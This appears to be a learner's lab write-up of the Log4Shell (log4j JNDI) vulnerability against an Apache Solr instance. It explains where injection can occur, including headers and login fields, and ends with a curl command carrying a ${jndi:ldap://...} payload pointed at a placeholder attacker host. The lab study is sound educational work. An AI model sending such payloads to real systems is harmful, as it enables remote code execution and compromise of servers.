Proof of Concept
Last updated
Last updated
Notice the ldap://
schema. This indicates that the target will reach out to an endpoint (an attacker controlled location, in the case of this attack) via the LDAP protocol. For the sake of brevity, we will not need to cover all the ins-and-outs and details of LDAP here, but know that this is something we will need to work with as we refine our attack.
For now, know that the target will in fact make a connection to an external location. This is indicated by the ATTACKERCONTROLLEDHOST
placeholder in the above syntax. Me, acting as the attacker in this scenario, can host a simple listener to view this connection.
The next question is, where could we enter this syntax?
Anywhere that has data logged by the application.
This is the crux of this vulnerability. Unfortunately, it is very hard to determine where the attack surface is for different applications, and ergo, what applications are in fact vulnerable. Simply seeing the presence of log4j files doesn't clue in on the exact version number, or even where or how the application might use the package.
Thinking back to the previous task. Already discovered that I could supply params
to the /solr/admin/cores
URL, and now that I have a better understanding of how log4j works, I should understand that this is where I supply my inject syntax. I can simply supply HTTP GET variables or parameters which will then processed and parsed by log4j. All it takes is this single line of text -- and that makes this vulnerability extremely easy to exploit.
Other locations you might supply this JNDI syntax:
Input boxes, user and password login forms, data entry points within applications
HTTP headers such as User-Agent
, X-Forwarded-For
, or other customizable headers
Any place for user-supplied data
If you would like more information on this JNDI attack vector, please review this Black Hat USA presentation from 2016.
First Line I had to find the machine IP address which was absolutely not necessary but I'm trying to form good habits. . Now that I have a listener staged, I'll make a request including this primitive JNDI payload syntax as part of the HTTP parameters. This can easily be done with the curl command line utility.
curl 'http://10.10.75.171:8983/solr/admin/cores?foo=${jndi:ldap://YOUR.ATTACKER.IP.ADDRESS:9999}'